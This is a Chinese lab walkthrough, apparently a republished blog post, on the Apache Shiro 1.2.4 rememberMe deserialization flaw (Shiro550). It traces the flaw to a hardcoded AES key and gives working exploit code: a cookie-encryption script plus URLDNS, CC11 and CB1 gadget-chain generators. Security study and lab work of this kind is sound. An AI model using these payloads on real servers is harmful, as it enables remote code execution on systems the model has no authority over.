Shiro反序列化漏洞-Shiro550流程分析

news2024/11/27 4:29:16

Apache Shiro是一个开源框架,这个漏洞在2016就被披露了。Shiro框架使用广泛,漏洞影响范围广。

环境搭建

这里我使用的是IDEA 2023.3.5

环境下载

这里就不配图片了,具体操作可以搜索引擎
tomcat 8.5.76 下载地址:

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.76/bin/apache-tomcat-8.5.76-windows-x86.zip

JDK1.7下载地址:

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

下载shiro对应的war包

https://github.com/jas502n/SHIRO-550/blob/master/samples-web-1.2.4.war

shrio复现的对应源码:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

过程

首先IDEA Open 打开shiro 源码的项目,如图路径
image.png
在pom.xml中找到如图对应的代码添加这一行,最后重新加载 Maven项目

            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>	//添加的这一行代码
            <scope>runtime</scope>

image.png
然后 Ctrl +Shift +S 配置当前项目的JDK 版本为1.7
image.png
如图打开设置
image.png
我这里已经配好了,就是把Tomcat的安装路径放到里面就可以了
image.png
然后来到这里
image.png
image.png
放入下载好的war包
image.png
image.png
然后配置这些就可以了
image.png
运行之后可以看见和下面图片一样的,说明Shiro550复现环境搭建成功了
image.png

原理分析

Cookie的源头

当登录框勾选 Remember Me(记住密码)的时候
image.png
当登陆成功的时候,服务器的Cookie的 remeberMe字段下的值会返回一段字符串。而这个字符串很像加密过的,很长的话一般说明了保存了写信息什么的,而且也比较特殊,比如序列化什么的
image.png
这个时候我们可以来到源码中搜索一下Cookie,Ctrl +N键搜索名字有关的类。IDEA会列出这些
image.png
在这里我们看见了和Cookie有关的类名,而且这个包还是 shiro 1.2.4,点进去看一下
image.png
这个方法的意思是:获取反序列化标识符
追踪这个方法,来到了这里
image.png
这个 convertBytesToPrincipals 方法名的意思是大概是字节转换,可能涉及序列化,追踪这个方法看一下。
image.png
可以看见它涉及到了解密以及解密序列化的方法

反序列化的入口点

点进去先看一下这个方法
image.png
image.png
可以发现它是一个接口
image.png
最后发现是这个接口方法调用了 readObject方法
image.png
通过这个方法的分析我们可以发现,我们可以传入一个序列化的数据,然后服务器通过解密然后反序列化后最后执行我们的代码。

解密方法的逆分析

我们已经知道了反序列化可能存在漏洞的大概流程,现在分析一下 decrypt 这个方法的解密流程。
image.png
encrypted大概是要解密的序列化字节,而右边的 getDecryptionCipherKey方法应该是获取密钥的意思,点击这个方法
image.png
然后继续追踪方法的调用,点击 setDecryptionCipherKey方法
image.png
来到这里发现 setDecryptionCipherKey 方法是来自 setCipherKey 方法调用的,追踪该方法
image.png
image.png
这个方法的意思大概是设置密钥,也就是说开发者设置好了固定的密钥的值,我们点进去看一下
image.png
发现这个值是一个常量
image.png
通过注解的意思发现这个密钥首先通过了 AES加密,然后又进行了base64的加密。

漏洞利用

我们根据 Cookie的加密原理,可以利用下面这个Cookie加密脚本

  • 依赖安装
pip install pycryptodome
pip install pycryptodomex

Cookie加密脚本:

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == "__main__":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

# 同目录下放已经反序列化的文件ser.bin,通过AES和BASE64加密生成rememberMe的cookie

我们可以安装一个插件 Maven Helper
image.png
来到 pom.xml 这个插件主要的作用是依赖分析,我们打cc链的时候只能打 runtime 和 compile,不能打 test
image.png
实际上 还有一个cb链可以打
image.png

URLDNS链

因为 URLDNS 链是JDK自带的,不需要依赖,但是只能进行SSRF,不能RCE。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://dnslog.cn");

        setFieldValue(url,"hashCode",1);
        hashmap.put(url,1);
        setFieldValue(url,"hashCode",-1);
        serialize(hashmap);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

序列化好 urldns链之后,就有了一个ser.bin文件,这个时候运行 shrio550的加密cookie脚本。
image.png
登陆进去之后,可以看见 我们要替换的是 rememberMe后面的一丢字符串
image.png
这里要删掉 JSESSIONID,因为它属于Cookie验证的一种,如果它在的话,代码逻辑就不会走到 rememberMe里了。
image.png
替换 rememberMe的值为我们生成的cookie,可以发现URLdns链执行成功
image.png

CC11

这条链子,具体可以参考我写过的CC11分析:

https://blog.csdn.net/weixin_53912233/article/details/138536622

Shrio 本身没有Commons Collections3.2.1,而且还是 test的
image.png
这里我们添加 Commons Collections3 的依赖

        <dependency>
            <groupId>org.ow2.util.bundles</groupId>
            <artifactId>commons-collections-3.2.1</artifactId>
            <version>1.0.0</version>
        </dependency>

image.png
然后重新进入IDEA,可以发现这个依赖理论上是可以打的了
image.png
这里可以利用CC11链子的特性,无数组

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
        //        tiedMapEntry.getValue(); hashCode代替
        lazymap.put(tiedMapEntry,null);
        lazymap.remove(templates);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,invokerTransformer);

        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }

}

可以看见命令执行成功了,这里的Tomcat服务器使用jdk8u65才能用CC11打,低版本不行
image.png

CB1链

Shrio 本身自带CB的依赖,我们可以用CB1链子去打一下试试
image.png
CB1的链子分析可以参考我写过的这篇:

https://blog.csdn.net/weixin_53912233/article/details/138661173

CB1EXP代码:

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Bean {
    public static void main(String[] args) throws Exception {

        //CC3尾部链
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        BeanComparator beanComparator = new BeanComparator("outputProperties");


        //CC2 部分的 优先队列

        priorityQueue.add(templates);
        priorityQueue.add(1);

        Class<? extends PriorityQueue> pc = priorityQueue.getClass();
        Field comparator = pc.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


}

替换 rememberMe的值,可以看见命令执行成功
image.png

总结

Shiro <=1.24 版本,密钥是默认的,这个时候我们可以利用 AES加密+base64加密 序列化的payload。利用服务器自带依赖去打,才能成功。
Cookie 中为 rememberMe值,需要注意下,是否存在漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1671225.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是抽样调查

抽样调查是政府统计工作和市场调查中普遍采用的方法&#xff0c;我国《统计法》中明确规定&#xff1a;搜集、整理统计资料&#xff0c;应当以周期性普查为基础&#xff0c;以经常性抽样调查为主体&#xff0c;综合运用全面调查、重点调查等方法&#xff0c;并充分利用行政记录…

ECMAScript 2024 新特性

ECMAScript 2024 新特性 ECMAScript 2024, the 15th edition, added facilities for resizing and transferring ArrayBuffers and SharedArrayBuffers; added a new RegExp /v flag for creating RegExps with more advanced features for working with sets of strings; and …

Peter算法小课堂—序列切割

讲序列切割之前&#xff0c;先来个铺垫 高手集训 题目描述&#xff1a; 课程表里有连续的n天可以供你选择&#xff0c;每天都有专题课程。其中第i天的专题趣味程度为h[i]。假设你选择了其中连续的若干天&#xff0c;从第l天到第r天。那么&#xff0c; 训练效果 h[l]*1 h[…

WS2812B是一个集控制电路与发光电路于一体的智能外控LED光源

产品概述 WS2812B是一个集控制电路与发光电路于一体的智能外控LED光源。其外型与一个5050LED灯珠相同&#xff0c;每个元件即为一个像素点。像素点内部包含了智能数字接口数据锁存信号整形放大驱动电路&#xff0c;还包含有高精度的内部振荡器和可编程定电流控制部分&a…

神经网络复习--数学相关基础知识

文章目录 矩阵范数卷积激活函数信息熵 矩阵 标量&#xff1a;一个标量就是一个单独的数向量&#xff1a;一个向量是一列数。这些数是有序排列的。通过次序中的索引&#xff0c;我们可以确定每个单独的数矩阵&#xff1a;矩阵是一个二维数组&#xff0c;其中的每个元素被两个索…

2023年上半年信息系统项目管理师——综合知识真题与答案解释(4)

2023年上半年信息系统项目管理师 ——综合知识真题与答案解释(4) 61、文档的规范化管理主要体现在&#xff08;&#xff09;方面。 ①文档书写规范 ②文档质量级别 ③图表编号规则 ④文档目录编写标准 ⑤文档管理制度 ⑥文档安全标准 A&#xff0e;①②③④ B&#xff0e;②③…

STM32使用ESP01S连接阿里云物联网平台

一、ESP01S烧录MQTT固件准备 首先准备好烧录工具&#xff0c;可以从官网上进行下载。 MQTT固件官网网址&#xff1a;AT固件汇总 | 安信可科技 (ai-thinker.com) 进去后如下图界面&#xff0c;向下翻找找到MQTT固件&#xff08;1471&#xff09;下载固件即可。 烧录工具光网地…

信号和槽基本概念

&#x1f40c;博主主页&#xff1a;&#x1f40c;​倔强的大蜗牛&#x1f40c;​ &#x1f4da;专栏分类&#xff1a;QT❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 一、概述 二、信号的本质 三、槽的本质 一、概述 在 Qt 中&#xff0c;用户和控件的每次交互过程称…

服务器端口怎么开,服务器端口的开放通常涉及的五个关键步骤

服务器端口的开放通常涉及五个关键步骤&#xff0c;包括修改防火墙规则、配置服务器软件以及验证端口是否开放。下面将详细介绍每个步骤。 一、您需要确定需要开放的端口。常见的服务器应用程序端口包括HTTP&#xff08;80端口&#xff09;、HTTPS&#xff08;443端口&#xff…

掌握这个Jenkins插件,离测试开发又近一步!

Jenkins Pipeline是一种可编程的、可扩展的持续交付管道&#xff0c;允许您使用脚本来定义整个软件交付过程。 以下是使用Jenkins Pipeline创建和配置流水线的基本步骤。 Part 01. 创建一个Pipeline Job 在Jenkins中创建一个新的"Pipeline"类型的Job。 以下是在J…

李开复引领的零一万物开源了Yi-1.5模型,推出了6B、9B、34B三个不同规模的版本

零一万物&#xff0c;由李开复博士引领的AI 2.0公司&#xff0c;近期开源了其备受瞩目的Yi-1.5模型&#xff0c;这一举措再次彰显了公司在人工智能领域的创新实力与开放精神。Yi-1.5模型作为零一万物的重要技术成果&#xff0c;不仅代表了公司在大模型技术研发上的新高度&#…

下载npm I就包错解决方案

npm i xxxx -S --legacy-peer-deps 如果包错就执行以上命令

聚类分析 | 基于GA遗传算法优化kmeans聚类(Matlab)

聚类分析 | 基于GA遗传算法优化kmeans聚类&#xff08;Matlab&#xff09; 目录 聚类分析 | 基于GA遗传算法优化kmeans聚类&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 GA-kmeans聚类算法&#xff0c;通过GA遗传算法优化kmeans聚类&…

权力集中,效率提升,中心化模式的优势与挑战

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 &#x1f680; 转载自热榜文章&#x1f525;&#xff1a;探索设计模式的魅力&#xff1a;权力集中…

电子杂志制作攻略,轻松打造高质量数字出版物

随着数字科技的飞速发展&#xff0c;电子杂志作为一种新型的数字出版物&#xff0c;已经越来越受到人们的青睐。它不仅具有丰富的内容、多样的形式&#xff0c;还具有便捷的传播和阅读方式。如今&#xff0c;电子杂志已经逐渐成为企业、媒体和个人展示自身品牌、传播信息的重要…

AI 图像生成-环境配置

一、python环境安装 Windows安装Python&#xff08;图解&#xff09; 二、CUDA安装 CUDA安装教程&#xff08;超详细&#xff09;-CSDN博客 三、Git安装 git安装教程&#xff08;详细版本&#xff09;-CSDN博客 四、启动器安装 这里安装的是秋叶aaaki的安装包 【AI绘画…

自媒体从0-1起号全流程落地指南。(含工具)

下面开始进入主题&#xff1a; 一、持续涨粉的技巧 持续账号的账号通常是具备以下的几种特征 ①利他性&#xff1a;利他性的核心在于你向用户提供了什么&#xff1f; 可以透过逆向思维来体现&#xff0c;首先要明确目标人群及其需求&#xff0c;然后根据这些需求提供必要的…

日本站群服务器的优点以及适合该服务器的业务类型?

日本站群服务器的优点以及适合该服务器的业务类型? 日本站群服务器是指位于日本地区的多个网站共享同一台服务器的架构。这种服务器架构有着诸多优点&#xff0c;使其成为许多企业和网站管理员的首选。以下是日本站群服务器的优点以及适合该服务器的业务类型的分析&#xff1…

Day26 代码随想录打卡|栈与队列篇---有效的括号

题目&#xff08;leecode T20&#xff09;&#xff1a; 给定一个只包括 (&#xff0c;)&#xff0c;{&#xff0c;}&#xff0c;[&#xff0c;] 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。左括号必须以…

Ubuntu系统搭建Tipask开源问答系统并发布公网分享好友远程访问

文章目录 1. 前言2.Tipask网站搭建2.1 Tipask网站下载和安装2.2 Tipask网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar临时数据隧道3.2 Cpolar稳定隧道&#xff08;云端设置&#xff09;3.3 Cpolar稳定隧道&#xff08;本地设置&#xff09; 4. 公网访问测试5. 结语…